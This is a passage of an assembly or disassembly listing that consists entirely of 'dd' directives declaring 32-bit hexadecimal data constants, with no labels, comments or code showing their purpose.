		dd 0EF00F4CDh, 12256F2Bh, 4A00636Ch, 0FF67A234h, 4E9FB0Dh
		dd 0A7784224h, 7CB0D0ABh, 0F2000E5Bh, 9986E177h, 3A46FC93h
		dd 1E818E05h, 57C8D4F3h, 4D8005DBh, 7D0E80h, 0EEFB81AFh
		dd 0B5914247h, 9A7143FEh, 0AC00BA71h, 33C770B7h, 0E52534h
		dd 42C8D0E6h, 7B148241h, 26E41900h, 9D637DAFh, 4F500B9h
		dd 5C5B94F8h, 0B6127F6Ch, 0B000DEEFh, 0C07649E9h, 71A60067h
		dd 8733E58Bh, 1E40DB2h,	5B893407h, 9F100258h, 0CF59D9h
		dd 824F7E1Fh, 54CAFD7Ah, 4AEFDD04h, 57C070B6h, 90D9436Fh
		dd 0A0913DB0h, 0BCB2807Dh, 88C04D2Ah, 0BD9ADC00h, 1BFD7D58h
		dd 3CE25854h, 0BF773005h, 5DD7C06Ch, 7E000BF5h,	12A00C69h
		dd 0C65043h, 9A4B25DFh,	8F845B28h, 5DC1A601h, 3D59B004h
		dd 7E4553D0h, 504A4C32h, 0FBC7C500h, 1E15AE3Fh,	12E89248h
		dd 0BC909FFDh, 25A4AC9h, 568C1BA3h, 0CC40D570h,	0EA0E46CCh
		dd 0C0EB7206h, 0A7D1CF47h, 5129032Dh, 0C89ED8D4h, 0B41D2588h
		dd 0CCD654C3h, 1BFAE036h, 0F7578BDh, 51BF1060h,	81450C7Dh
		dd 0EC006378h, 0B682AC39h, 0EA2A7FFBh, 0A4D31789h, 9B340012h
		dd 8E0E6E29h, 7B502800h, 0E9EB731Ch, 73A06A4h, 4923E067h
		dd 2CA66600h, 0E19A361Dh, 606507CDh, 7C275A5Bh,	76054320h
		dd 7C19558Ch, 9F38E890h, 0B917004Fh, 0AF7E1DFAh, 920FCCDAh
		dd 0A0516957h, 325515F4h, 0E75E154Bh, 0B6018425h, 0E26865C9h
		dd 15C2D448h, 0D410EC00h, 0B1C0BC78h, 3D100F0h,	4C53025Bh
		dd 0B97AAD7Ah, 0B3256101h, 0B17D294Eh, 267298E4h, 22CCB30h
		dd 8791FD54h, 3D142840h, 9A51C51Ch, 9BA363C0h, 22CDC1h
		dd 0FD6BF04Dh, 826241B4h, 0BAD9901Eh, 3FF7B947h, 0F660E8A0h
		dd 3E300EDDh, 3D4A1A18h, 1E833EA0h, 0C6EDBEADh,	0A280CBE0h
		dd 0E5DE3E0Eh, 0BB6780B9h, 0A40E9Ch, 83EF4044h,	72AB5A78h
		dd 8E19600h, 9F6A6D14h,	220E1413h, 873CBDFBh, 0E8D3A4h
		dd 48A181A5h, 5901CC44h, 0D767B37Eh, 29C0AE42h,	0EACCA05Ch
		dd 0B5F8004Bh, 0A10F5A75h, 98C3141Fh, 0FAEB630Dh, 2426C193h
		dd 2EC555CCh, 3F6EAC15h, 1FE55201h, 38357157h, 0D9E70450h
		dd 94807BF3h, 678F98h, 524032E4h, 0C297BA89h, 75074870h
		dd 98576A66h, 0AF87DFF1h, 374A60h, 0B32EACFEh, 4DB47030h
		dd 6141AD00h, 33AE1A59h, 10E8A0h, 8C1FC6Bh, 0AA6212F9h
		dd 70781503h, 0C07245EBh, 0DFC48DEh, 77215F3Ah,	3F68F021h
		dd 0AF00C77Ah, 7346484Fh, 885C0766h, 0FE00B69Dh, 6974AE3Ah
		dd 7CF4E0F6h
		dd 7AEAA9h, 0C5392FE8h,	5261DD56h, 0E757A800h, 74FD3DAFh
		dd 17DF070Ch, 13906268h, 0C5A80321h, 33099EBDh,	410C5C58h
		dd 20D0B6CCh, 543038CAh, 4E09D8BFh, 28A050D1h, 0C3ABD52Bh
		dd 5684A504h, 0A803E96Ch, 90A9C651h, 0F2B0C302h, 0E2002CB2h
		dd 17FD184Ah, 98F3FCDh,	8595B3D9h, 2DA6B461h, 52777DE4h
		dd 0D0F649h, 5A0F7AFAh,	3E6FE0h, 0FE141379h, 4BFBDE97h
		dd 0C556D20Fh, 0EEACE0BCh, 0E6AEB04h, 6ED9F00Bh, 0F94063A0h
		dd 160E838Dh, 66AD5630h, 3709148h, 0C7A2EB6Bh, 59B864ACh
		dd 7D142620h, 1EAC5DFFh, 8D5F86C8h, 47CB625Ch, 0D9704107h
		dd 5D2492F4h, 35041C61h, 0F0FD9C7Ah, 1B7C9E78h,	576EC00Ch
		dd 3F12D8F4h, 2F0023A9h, 0ABF96111h, 0B500267Bh, 52AAF73Eh
		dd 42EC59Ch, 7E65D2DEh,	5DC780FEh, 0A62CA73Dh, 4200FC10h
		dd 2A8A80B2h, 73E373EEh, 0BE6501F3h, 94A025ACh,	0E71BD890h
		dd 8E1A763Ch, 0E69878AEh, 0B061AAh, 162F7223h, 41551BC2h
		dd 0AB803E0Eh, 0E01529DDh, 0E58A74h, 7F334571h,	0C06A5B75h
		dd 1167C200h, 871E18A5h, 0DA632661h, 2879072Dh,	0F5AD90B5h
		dd 0CF0066D3h, 0C80EC48Eh, 0E32609h, 14472962h,	6BDC96D5h
		dd 0AA38A18h, 0FBFB6988h, 0CB00E02Ch, 0AD88154Eh, 9A1579DEh
		dd 0A01D81h, 56E7FF8Bh,	3EE6F6AFh, 5A80E010h, 0C8425F20h
		dd 8830F717h, 0E21B3CE3h, 7EED022Ch, 0F45EF94Dh, 93485C60h
		dd 4A69B200h, 52749679h, 9C734Ch, 2BF007D6h, 0CE80FF0Ch
		dd 0E36DF412h, 400A09h,	268902EDh, 0CFFC07F2h, 504955D2h
		dd 3DFA7938h, 0B7905807h, 414E636Dh, 0DFACC1D5h, 127F61E0h
		dd 1DD8455Ah, 44007A9Bh, 94283B4Ah, 3200D09Ch, 0BBBC7350h
		dd 352C99h, 518B446Dh, 0CC17FFEAh, 0B2D84C05h, 64C003D9h
		dd 0F30A0B6h, 9C2F614h,	2AEFC0C0h, 0B400893Ch, 9AAFB1A6h
		dd 98963688h, 0D7AA07E8h, 0E0DC8C23h, 95E89D68h, 9C15C470h
		dd 4905FF5h, 0FB2A6B1Fh, 8BAB5383h, 0FCC0BD54h,	0FC95123Eh
		dd 0F63F0275h, 0E577FA39h, 2FD76460h, 96005AE8h, 146D6BE7h
		dd 93B7AFFh, 189C505Fh,	47B4ACA0h, 0E800C1ACh, 4FEE3565h
		dd 16B38A3h, 83685015h,	0F8EF9039h, 0AB03560Fh,	0DDFA371Fh
		dd 0BEB80046h, 4CB52D3Ah, 0F575C697h, 274A3B00h, 1CFC4D03h
		dd 6819014Eh, 0C5D36092h, 0AB9DC4B2h, 1B898A01h, 0F5E97D1h
		dd 0F8F2C4h, 31544382h,	0FBE20678h, 0B6EB7700h,	86E6FFCDh
		dd 15140046h, 0ACB5CE69h, 880031D7h, 840FBD21h,	22FAC5h
		dd 5FEC7A9Dh, 3A62F694h, 875E0E00h, 57555A27h, 3D8C00DCh
		dd 5F23C607h, 2000A740h, 80AF7B79h, 288E3EE8h, 0F0C89B67h
		dd 380F4009h, 4F3C910Eh, 1F27C058h, 1C7A99Bh, 64E95A15h
		dd 74E3D42Dh, 7D730124h, 0C1CDE250h, 0D7A18400h, 8B73D367h
		dd 40F1EA0h, 9A7C057h, 7D6960C8h, 5509658h, 10329DDh, 0C941CC00h
		dd 90F631BDh, 6071019Ch, 0F9C28B1h, 2DE0DE2Bh, 0EE00D07Fh
		dd 55E5F302h, 49C699h, 2F889169h, 2764681Ah, 0CCC46F28h
		dd 2ADBF600h, 5763FE46h, 0F2670014h, 9C0FD60Eh,	70078D6Bh
		dd 4366872Bh, 749EB671h, 7D414FF0h, 654B8AAh, 94CC3B25h
		dd 0F978A87Ah, 5F11301Dh, 0A0C0EDDDh, 6C4209AAh, 0EEBA0FE8h
		dd 0A960FF90h, 1998BF56h, 0CBA8E9A3h, 0C9145DD2h, 0F80116h
		dd 0F7710352h, 4D28A860h, 6313C084h, 1BA8427Ah,	38C8B1D7h
		dd 60E812Ah, 0E051A980h, 0B316C23h, 37DD3F69h, 950AC4C9h
		dd 95C6FE1h, 56009F6Bh,	0EA0EF4A8h, 5CE1FFA0h, 3A096800h
		dd 0CD3D1D50h, 4C8BFEE3h, 4E049478h, 8018E98Dh,	2DC9CE76h
		dd 0B4E8EC54h, 4DA09001h, 0DD40FA3Fh, 13016463h, 0FE792674h
		dd 34BC9D7Ah, 7FCE1D4h,	0C8A6B3C4h, 5C2F609Fh, 17C2A7F2h
		dd 0C30513h, 47E38D97h,	0BE00CDD3h, 5AFDFBB2h, 31C46h
		dd 0CF2DEA8Bh, 43EF9A0Dh, 10C2890Ch, 153851h, 4D9D343Bh
		dd 7F63A81h, 1404A759h,	79CA803h, 370D2A11h, 0E0D380F3h
		dd 1E45C2h, 1FA987F3h, 0B9D64438h, 0FBBEEC00h, 0F88691Bh
		dd 0B568582Dh, 0F5629700h, 76B8E8F6h, 9F43601Ch, 0E0E1E403h
		dd 80E5C2DDh, 56BBA9DCh, 0F495005Fh, 8D55C512h,	6000FB4Fh
		dd 8CE2E50Ch, 78246B6Fh, 640200C1h, 4C71E3Fh, 5B00E665h
		dd 41BE9D27h, 1EA28D69h, 58636Fh, 0EB786E72h, 103DE209h
		dd 0C0888F62h, 0EA03A3A2h, 530BC821h, 8CC658A1h, 69293200h
		dd 0E9180713h, 0FB1B8A0Bh, 85EA0076h, 7CF1D10h,	1CE8580Ah
		dd 7A95E187h, 0C48CC493h, 3055ED00h, 0D6A4492Bh, 7B9D0101h
		dd 63E16FADh, 70B3EC53h, 0F7904B0h, 0DBB10D00h,	41435CD1h
		dd 0C8540051h, 48E45ED9h, 99E83E36h, 6713B87Bh,	0E80087E3h
		dd 1289F066h, 4E4F0042h, 601B919Eh, 0D6EC1449h,	7041858h
		dd 617C9CB2h, 1644CFB0h, 0EDF7FBBh, 7F5C1C68h, 0B507A280h
		dd 2B1D22DAh, 8F9F2AA9h, 85D5BE00h, 786133Ch, 81A2CE71h
		dd 6B82915Fh, 34562188h, 8A0E8EB0h, 0AB7F0E61h,	21A4E644h
		dd 6E04C41Eh, 20822B03h, 1C01C05Fh, 0E86D2CE0h,	4A6688E4h
		dd 0F4CD2180h, 2ED26783h, 8B31E9h, 47092C71h, 6E19B8EAh
		dd 3878F232h, 0C307386Ch, 0D0250ECDh, 0F9A55AA9h, 3560B601h
		dd 0E8012773h, 3080C721h, 0DB14746Ch, 0DC90F7EDh, 1C2F5C02h
		dd 414EC30Ah, 48202974h, 9A2F401h, 0C6701522h, 0D95B6CE8h
		dd 1FC364Ch, 46C9F47Ah,	0E4F4CE1Dh, 9F9100C0h, 9A8ADCF5h
		dd 9503E2A5h, 0BC3A102h, 4FB0FFD0h, 0AD620Eh, 1F985715h
		dd 219B588Fh, 0EFA96600h, 0C4553EB8h, 4BD2010Fh, 0FC3127F3h
		dd 598C50E9h, 997EC089h, 1F6A0B1Dh, 0A7D6B8C0h,	0DE9810h
		dd 66373FAFh, 23AEB5B7h, 6CD02100h, 0F0E9A9A2h,	9DE80704h
		dd 0A99B987Fh, 0B8768C01h, 0ACC0F084h, 90F5AE00h, 5946F273h
		dd 0A04C019Eh, 7028B0DCh, 0E1DAEC38h, 0F4CF2C13h, 27C584C8h
		dd 0B081E358h, 0C487096Dh, 4E75859Ch, 793E7016h, 0BFDF2103h
		dd 0EA448824h, 0B5EC3ECAh, 0BEF8A280h, 168E9ADCh, 47BF7D04h
		dd 17C05180h, 802A6h, 25052127h, 1ACF5A18h, 3FD4EE00h
		dd 0AD916781h, 8C77C5h,	7B8DE69Ah, 6044E706h, 6D00B474h
		dd 0E27DFEF5h, 3B436E64h, 5E3862B6h, 0FAC81780h, 53198BC4h
		dd 6302337Bh, 0A4F9990Eh, 0F2B0F05Bh, 8B1B0032h, 0ECEBBBC6h
		dd 0F2254C14h, 87144203h, 0A60032ABh, 0B16E2Ch,	3BE7D51Fh
		dd 0A59BB478h, 3C6A3Ch,	0FFB7C443h, 39CD694h, 0E9CA4170h
		dd 0E0907577h, 7D00A7E2h, 0A010FEA2h, 8790D9h, 0E684DCB0h
		dd 0BCDF5A2Bh, 4ECA6C00h, 642A8313h, 0E089841h,	434B22DDh
		dd 0B2F30692h, 0D8E6B15Bh, 0E6E30C8h, 3F80267Bh, 0D274E8E9h
		dd 0F8D33800h, 0E1D5F794h, 5EE5052Ah, 2BCEE13h,	3BD37820h
		dd 4CE87CC3h, 0FA12161Dh, 98C3FD45h, 0F9A7998Ch, 70F4002Eh
		dd 71A9E20Bh, 0BD116360h, 0DD28DCh, 4B2A9288h, 6DBA148Ah
		dd 967621C1h, 0DDD030BBh, 0CB35013h, 4040F7F0h,	34B02DBh
		dd 98CCFD35h, 0D1E89054h, 0A100C9E8h, 0C7D7182Ah, 0FA0AA899h
		dd 5D660048h, 0B5312CE0h, 77012497h, 0A06BB789h, 0E160FD33h
		dd 44FF0023h, 0EAFB57CDh, 0CC01BA15h, 244871D5h, 33D430BFh
		dd 767700F8h, 53AAB839h, 0B0000A11h, 27F26626h,	7E51Ch
		dd 0FCAC5C15h, 7CFD4C40h, 374E6C00h, 0D774F097h, 0ABC9C06Ah
		dd 0FAF8D22Fh, 667D9401h, 6E8AA896h, 1560F8h, 936D74BCh
		dd 34B1EF41h
		dd 0F0E44851h, 770088CBh, 0F0D402E8h, 0C0CD97h,	0DC78374Dh
		dd 1AA97DF1h, 0A4153F0Eh, 340580B8h, 51C3EFh, 986A9266h
		dd 6EAA27B5h, 6D4BA0A8h, 81D6250Fh, 78003C1Bh, 9C902F08h
		dd 11280045h, 0A235C21Ch, 30DFE4F7h, 0F2A03F40h, 27CB4A59h
		dd 72416214h, 6EFCC78h,	8DCC0205h, 0D0E0F836h, 677990h
		dd 8314FD2Ch, 610ACB66h, 5E36B518h, 546522B0h, 0F08B886Ch
		dd 0F9410CF5h, 0A7A19471h, 0D8E5EC04h, 2488D75Eh, 4C0C007Bh
		dd 3DAEDB9Bh, 0BC0317B3h, 2645150Dh, 2A885048h,	62690285h
		dd 31067A20h, 87C53080h, 91414597h, 0F6FCD8h, 29CE016Ch
		dd 122B33B9h, 1DEFFF4Ch, 0D30BA305h, 5EA201E4h,	81804DBEh
		dd 0A0BD658Fh, 0E3006859h, 0D4C361CCh, 13BB5B43h, 0F21429h
		dd 517E564Fh, 4200F463h, 80237D2Ah, 0C162CC48h,	18B4318h
		dd 89DA702Dh, 84548FF8h, 0F442A50Ch, 0DD888821h, 0B68849ABh
		dd 3E75080Ch, 8316046h,	0D7F139E3h, 0EA160202h,	1D560081h
		dd 0A0C044D8h, 0C63549Ch, 18C90D34h, 0C8204FFCh, 9506FA5Ah
		dd 0A98F46DDh, 3CD10C69h, 0FE391048h, 0D97B6203h, 0C153B9C7h
		dd 29E07A9Dh, 15B3E96h,	0CEEA1306h, 0B3065050h,	57D01506h
		dd 1807F081h, 21CFE314h, 4000D2FBh, 189DD0A8h, 30F87E0Fh
		dd 8DC90D33h, 0D240CFD9h, 0AC4B5409h, 9C4A0046h, 4F2647D3h
		dd 0B27F7A85h, 0D6631E00h, 0B045ABF1h, 0C19E0F2Bh, 5882C668h
		dd 33C0818Dh, 0E2EAA815h, 0E0524400h, 592EB5C9h, 6AB60F48h
		dd 46614302h, 0BC88E59Dh, 72E45238h, 16D14918h,	1CD7F88h
		dd 0AF115D31h, 806D380Fh, 0D933219h, 0F84858CAh, 128020D8h
		dd 0B3447B06h, 7511427h, 99239871h, 7A8A4169h, 0D08BC182h
		dd 20C1416Dh, 0B723D154h, 0F359EC60h, 8CC8A094h, 1DAD570Ch
		dd 3E00DB10h, 79C17AFBh, 0F0AFCAh, 662AF952h, 8BBF12EDh
		dd 0EE3FCF00h, 3B63E01Eh, 0CC6E007Ah, 0AB754591h, 0F0FF548Ah
		dd 8D1D49CAh, 5007300Eh, 11C052C5h, 7A56E3Ah, 0AD68E0E6h
		dd 487743FDh, 7C292007h, 0F3100B10h, 7D889386h,	6B63125Ah
		dd 28B400C4h, 0E944FB3Fh, 0DC6D51C3h, 3190B34h,	0EB008CE2h
		dd 42A87C63h, 49CCC50Ah, 91404020h, 0D16E3D10h,	34304078h
		dd 10997221h, 705D4300h, 0D3C05EB8h, 0BB07065Bh, 49289AA9h
		dd 9574A200h, 61D929F9h, 0E7F10009h, 0E0E8C273h, 3600A172h
		dd 5B56C071h, 14381E1h,	0AECF366h, 803F294Fh, 26493268h
		dd 67218506h, 0E0B0114Eh, 0A27BA3F0h, 0C96D5607h, 4C461811h
		dd 988E0021h, 25A4ECEFh, 0F8002F31h, 0C2E3F371h, 0F38B9A0h
		dd 0DACA1DE7h, 7099C380h, 0E82E6CFEh, 4B1C0BB3h, 8E6979F0h
		dd 0C07401A1h, 0C833F215h, 3C34C0DDh, 16AC21C0h, 5B443A1h
		dd 5758746Ch, 19E44848h, 3E1090C0h, 0A485566Eh,	1D751040h
		dd 43071098h, 389CD49Fh, 0FF24C3A0h, 6278B01h, 2DDEBCDCh
		dd 0C687DC40h, 0A61D584Ah, 77E463Eh, 5EC6BE8h, 1635B0CCh
		dd 0CA00FBB3h, 14A0AE6Ch, 33C9A88h, 0E3375651h,	57D7872Bh
		dd 0A59550E1h, 917CC1F0h, 2700DE76h, 0F54BF6ADh, 7665697h
		dd 9BE2DF22h, 63B66047h, 0B900D0ECh, 0D5741789h, 745753BBh
		dd 0E3F54C1Fh, 0A9D36700h, 523B5125h, 9B09D100h, 0D61740D4h
		dd 3D200076h, 0E291B39Eh, 7B0051C4h, 0D244314Bh, 988AECh
		dd 5F863793h, 7FD679BFh, 0AA030905h, 4AC040C1h,	1C560575h
		dd 839FC9E5h, 85BE3767h, 80A0389Bh, 540006E1h, 4A7FCEACh
		dd 60C69Dh, 8177D55Fh, 966BDFC1h, 0B349EF09h, 81698955h
		dd 0A8C6BE01h, 414004EFh, 0C739FCD8h, 8D52D34Ch, 8301AFBh
		dd 0D432214Bh, 33A0039h, 54BBF83Ch, 7200F02Dh, 400F4E3Bh
		dd 6074A682h, 1F609041h, 6B01FCB2h, 0DDADD1Eh, 88D1124Ch
		dd 0F6B62180h, 0E08FBBFDh, 85CA140Ch, 980D089h,	5EEC9BB9h
		dd 99E1508Fh, 0A88E9059h, 3FFA0880h, 17DC40C0h,	7ED719h
		dd 0C013720Ah, 0CF85BB0Ch, 0B110E630h, 0C0ED3B4Dh, 2907A031h
		dd 2E063C42h, 6616273Dh, 0E8210071h, 540FB585h,	7CEE74FAh
		dd 0AC4508CAh, 858C2880h, 1FFA85Dh, 2DBABD2Ch, 48AFAA50h
		dd 0A4A0688Ch, 3F00A725h, 18A3981Ch, 1AAC6Ch, 38E4CB01h
		dd 0BC5A7497h, 0C97EFF34h, 0D3D4C00h, 7F78A6h, 0BB5489FBh
		dd 6C720BADh, 66ECC7F2h, 43608100h, 0B20C6E80h,	66D3B35h
		dd 974F460Eh, 0B418C41h, 0BE5987DFh, 0D6F27FEBh, 6DAB4049h
		dd 90E0515h, 878EA161h,	3EB983A3h, 0BFA9B907h, 0BA43326Bh
		dd 917CE9h, 476C1A9Ah, 0C51E45B3h, 31410A30h, 15E7C918h
		dd 0C8BFF598h, 58556500h, 22623C91h, 0D15C200h,	4E86BDE0h
		dd 286C06B5h, 38E3F79Eh, 371D7902h, 486BC34Dh, 0CBE7D40h
		dd 0C2F0418Dh, 2000E651h, 24E76681h, 53D0FF8h, 57D21028h
		dd 42AFC046h, 38302058h, 97531BBh, 26F20EE3h, 8E41C82Ch
		dd 60D0BFB6h, 20EAA779h, 5A4D8CA0h, 83E1F16Fh, 0A9D3C89Eh
		dd 0D9BEFAFDh, 59BCD50Eh, 7E0854h, 0C82EC9C1h, 169A09CFh
		dd 21B91000h, 0E67FF32Ch, 1F35004Bh, 0EB7CF5C0h, 0AFF8FD3Eh
		dd 51949B00h, 0D24DBD54h, 0D6F802E6h, 6C154262h, 79779560h
		dd 0CD389800h, 0C6637DDAh, 0E1180016h, 7B5EFE3h, 750CA870h
		dd 89D7CE5Ah, 7A0D00C3h, 0CA7E3CA6h, 0E562534Bh, 0A06085C9h
		dd 0D5671CD8h, 4C8F013Eh, 5BAF3D79h, 0A4CAF0B9h, 4B00BAE2h
		dd 6E8C1E5Eh, 3B9FB033h, 0CD008D6Ch, 569BC084h,	0AD758FA5h
		dd 0B3993E0Fh, 24A24090h, 0E856179h, 83E21FA1h,	0DD21B09Dh
		dd 820EA281h, 87701527h, 74A3EB98h, 8D288010h, 0EB5739Ah
		dd 6175ACA6h, 383DF366h, 0C802D700h, 816B2637h,	278E0B0Dh
		dd 26866873h, 0E6003829h, 0BE70A479h, 4106D598h, 7F60E032h
		dd 0D3C40C00h, 0BD9CC193h, 4208CC24h, 9500A621h, 0B0D30A0Ch
		dd 6C2D215Bh, 70B1502Ch, 5E10DD0Ch, 394C9047h, 20607D2Bh
		dd 0A9B9F327h, 0BA07767Ch, 0DC0C152Ah, 9FE737C0h, 99400270h
		dd 98B2FEB5h, 4B102h, 0B54D7D3h, 42763000h, 1AFDA06Ch
		dd 38390064h, 9686DCFAh, 0B200F9BDh, 0DAFB4C50h, 37C4DD2Dh
		dd 907ECC11h, 20F44C8h,	8729F200h, 0AE450D63h, 18690041h
		dd 78A48CD7h, 0FD0760A2h, 0DF19554Dh, 5AF943F0h, 0FA260025h
		dd 0E7C66707h, 1E3BCF5Eh, 0CB4700E8h, 8CEAB0FCh, 4D756Ch
		dd 71205928h, 0A8D616FFh, 0E47D5E00h, 77F4630Ch, 0E03A00E1h
		dd 7A117FB6h, 0BE00F1A3h, 297A229h, 0A78444D4h,	4139D604h
		dd 0C423E58h, 18D87891h, 0C18900ECh, 81B8686Bh,	717A7A15h
		dd 0E4DB161Dh, 13CE9187h, 0B4247CF0h, 5529C4C2h, 6756001Eh
		dd 0BFAEE9h, 4844A3EAh,	0E4B1110Bh, 0CD907B00h,	0A1C70E0Ch
		dd 95AA0040h, 0EE98CAA6h, 0E1001C7Ah, 499AB520h, 90FBEBBFh
		dd 7BCD0339h, 0F8DE3105h, 0B1718EC8h, 3000BD73h, 399650C9h
		dd 0CDA429h, 383319A3h,	3283C49Ch, 7EE17400h, 2D6ED3B2h
		dd 0FFBD00C0h, 0B889DC7Ch, 0D4006CD9h, 20E7D03Ah, 763F5Dh
		dd 0B68A70F2h, 0ACFF9DDFh, 0D30E8E0Eh, 0E9C960C3h, 69AFCD51h
		dd 66F614F7h, 70B2E000h, 0C7BF28h, 6AE7A1B3h, 956921CCh
		dd 0ED331F0Fh, 0AFAC0E0Fh, 814DCA20h, 6BF94200h, 0ADBA23h
		dd 50952653h, 0C8AAE509h, 0B6EEA601h, 0B00885A2h, 0FC9C1080h
		dd 8B2A2934h, 80F5DC3Ah, 68482233h, 72B1F7F6h, 0E43200BCh
		dd 0D502DA5Ah, 2B0027BFh, 8EFA6DBh, 0EEB64C4Eh,	730B00F5h
		dd 0F6ECC3B2h, 0E4003942h
		dd 4738B17Eh, 373CA86Ah, 9070A0A7h, 21D5C255h, 0E7B16200h
		dd 0DC977CF8h, 0DB630098h, 81D11156h, 0AF3F4F31h, 0E99101F3h
		dd 3C71A5Bh, 992420h, 342088ABh, 17F97173h, 1995E4Ch, 418FE0C3h
		dd 0C4F59BF5h, 71DB2D4h, 0BB7605B9h, 809F76F4h,	0CD8EE10Eh
		dd 10A12CA2h, 202D0F16h, 2F008070h, 0AA598C86h,	84F6B900h
		dd 0E05481E9h, 20EF0051h, 64CD6992h, 0CB009A82h, 5F138897h
		dd 48B3A1E7h, 0B0316841h, 0C8AE32D0h, 5703674Eh, 1506C429h
		dd 544A881Bh, 92C13061h, 0DF259478h, 670048FEh,	0BD822ABEh
		dd 3B76702Fh, 60801698h, 0F7FBB0F2h, 9E003F46h,	835409FDh
		dd 856DB9h, 1C6B5614h, 31F441C3h, 0D493980Eh, 5F54608Ah
		dd 7882E8B2h, 0ADB300F3h, 0A61FE5C0h, 0D100194Eh, 0CD7554Bh
		dd 3AC87990h, 0F886D4A8h, 101EE561h, 0EA78390Fh, 62E207F5h
		dd 0AB38D2F1h, 0C3E420h, 0F756C232h, 66CAB510h,	0CA1573Ch
		dd 80976C83h, 0A8893F5Ch, 3DD71180h, 0EEBE0139h, 2E9FB400h
		dd 19A47EE5h, 0ECBC01A1h, 0D7461B84h, 0F90EFA8h, 0F40F3175h
		dd 0DD353225h, 0A188FC69h, 83604F04h, 0F63422A5h, 37ED8905h
		dd 0E0C0668Fh, 1E138Ch,	5E04E29Eh, 9FF03BA6h, 3548D0B8h
		dd 0A3AD0789h, 30F7EDF4h, 1918D176h, 309441FEh,	0CCCE30EBh
		dd 97CD0800h, 0AEAAA42Ch, 279D00E8h, 0FADDFF6h,	0C57C5690h
		dd 789187FDh, 0A2202182h, 0F1CFC493h, 72AFED0h,	0C1676959h
		dd 0F8C9605Bh, 8600A405h, 320C6531h, 9C4F738h, 4C3BB9EBh
		dd 0C1356080h, 0CE0E282Eh, 2606556Bh, 7E3391h, 0A9F3E198h
		dd 37FC3C30h, 8776C27Ah, 0C1408949h, 0F6CCA84h,	167230h
		dd 2BE13DEDh, 4E04534Dh, 0C3BB2300h, 0CD48514h,	0B9931EF2h
		dd 0CB758032h, 9D6B512Fh, 0F508C0AFh, 41630002h, 882C0930h
		dd 8A489F7Ah, 61D90000h, 0E514540Eh, 0E4A30059h, 5E2EBDA8h
		dd 0D424C9DAh, 488084E7h, 17CD8ADCh, 2BC30059h,	0EDC0CB83h
		dd 0F8780F9Ch, 0ACA2A829h, 0A43F3422h, 0D80EAA37h, 397B110Ch
		dd 1AA7889h, 77AB0C91h,	9E920582h, 0F3009420h, 0D7DB52EDh
		dd 3EE73B58h, 8D040849h, 906E8850h, 25037954h, 0CD09B815h
		dd 5BC300A4h, 4CD1509Ch, 0F84F0017h, 7D460880h,	5D0A18B3h
		dd 500283ABh, 8601E428h, 0DA0CA7CCh, 88F01CF0h,	6DFF0506h
		dd 80ED36D6h, 2230BDDh,	2BDBEA00h, 0C18B356Bh, 9EFE0C48h
		dd 0FB887CA0h, 1A16AF07h, 0A5D2870Dh, 3AE84545h, 0E108B299h
		dd 1940DAFCh, 7609D884h, 91D79CFDh, 432C1A0h, 733B8781h
		dd 6410879Ah, 46C0AE37h, 0B1AE9AAh, 0BCA7098Ch,	543FD020h
		dd 2300A0A4h, 71E63CC5h, 6AA03F0h, 82C23614h, 0F3008198h
		dd 0D3118B76h, 9A08627h, 44ECA38Dh, 0A4134816h,	0F8406A7Ch
		dd 0CA858359h, 79F0A9D0h, 213C4E10h, 0DC283301h, 3D1548B0h
		dd 80EDE0h, 0AAC5AD4h, 0BFFB0F08h, 8F4AC215h, 80D23F44h
		dd 0E0B3B0C0h, 7F94B77h, 1463F491h, 2B042055h, 130008DDh
		dd 79E92A93h, 0C22F10h,	0E21281ECh, 1AF9E70h, 935A9F18h
		dd 989CA750h, 0D109A76h, 3ADED556h, 1AB3C048h, 3345B200h
		dd 9A405CB6h, 32200EB4h, 0DBA0356Eh, 0E05FF391h, 8124FEAh
		dd 0D202737Ch, 0E3A0F22Ch, 9FCFB030h, 8CB907FBh, 0C3595758h
		dd 9E80DD84h, 0C00009BBh, 3CDE28F3h, 66A15Fh, 8040D9F2h
		dd 0F73324E9h, 81278307h, 4F00D17Eh, 755ECD28h,	0D3FF048Bh
		dd 80B941B1h, 0A2EB2E7h, 8E631400h, 0F6E390D7h,	6C09004Eh
		dd 0D08C5BF8h, 0F114BF1Eh, 38B0ECB9h, 0EE32004Ch, 0F0139F52h
		dd 0BB4305CBh, 2026650h, 0EB38E18Ch, 17A1A00h, 762F078Ch
		dd 12A8A04Fh, 23CA8727h, 71CD1060h, 90B6D640h, 0AEEC24h
		dd 0A824B04Eh, 7C458E7Ah, 57C85603h, 0D8396055h, 23AA09h
		dd 7658F548h, 2B052417h, 5756DC00h, 0F82236BEh,	3D5400C8h
		dd 0ADFC166Bh, 0B9005981h, 0C26F8719h, 1E539E7h, 0ED4B4456h
		dd 20E83615h, 64008D6Bh, 0F829DA4Dh, 28469F7h, 0ECCF207Ah
		dd 48E06BEAh, 65008BE5h, 1D8998DFh, 2713D1h, 369B3C97h
		dd 222D666h, 0D1E0092Eh, 0F972FB01h, 6020467Ah,	86000ABh
		dd 8CF8108Fh, 3A034504h, 41D02280h, 0FEE7F863h,	7D903E88h
		dd 0F8D9FA03h, 0DCB85035h, 0C1006DEBh, 38A47824h, 3BC3DFBh
		dd 0A040D52Bh, 34C76F16h, 0C894A1D0h, 0E00004E7h, 0F9971DB8h
		dd 0DAEB3Fh, 0FE74C5E9h, 356D8AACh, 58008C90h, 0E75A77D2h
		dd 0C932F09h, 0E2E068C8h, 0C2053B49h, 0B330BF41h, 6727D491h
		dd 48810832h, 304D07E1h, 18C59FD3h, 0A8C0F863h,	7288E611h
		dd 0D6523AEDh, 0E5AB3984h, 2D80C80Fh, 0CE9A0100h, 30186B1Dh
		dd 0F45F4D19h, 0CC05CF1Ch, 8C50991Bh, 2FD23E00h, 3FF6D315h
		dd 5CF30068h, 1275AE46h, 0A94C5DD9h, 4092C848h,	413CF333h
		dd 0A0398BBh, 0DBC93020h, 17EE98B1h, 32DF01Bh, 0CD52D93Fh
		dd 28019E33h, 0EA6CF469h, 98700C70h, 0D144059Fh, 27DB58DAh
		dd 17E7A0B4h, 70993BE1h, 0ED805F49h, 57DEB5E8h,	0BCE2D700h
		dd 0CF4250ABh, 5F912AC3h, 558F063Ch, 4133D586h,	0A000E571h
		dd 0B52105C2h, 0AF89FCh, 0B834C875h, 0E184393Ch, 0F2BBC0A8h
		dd 2AEE5600h, 370CCFA4h, 3D2D000Bh, 4E3B214Ah, 0C8B27D98h
		dd 80D6E03Ch, 11A54941h, 0E235AF05h, 3FD50036h,	543DA8DEh
		dd 0CB19CFD6h, 1890B81h, 0A05B9943h, 7F5914F2h,	0F88463E1h
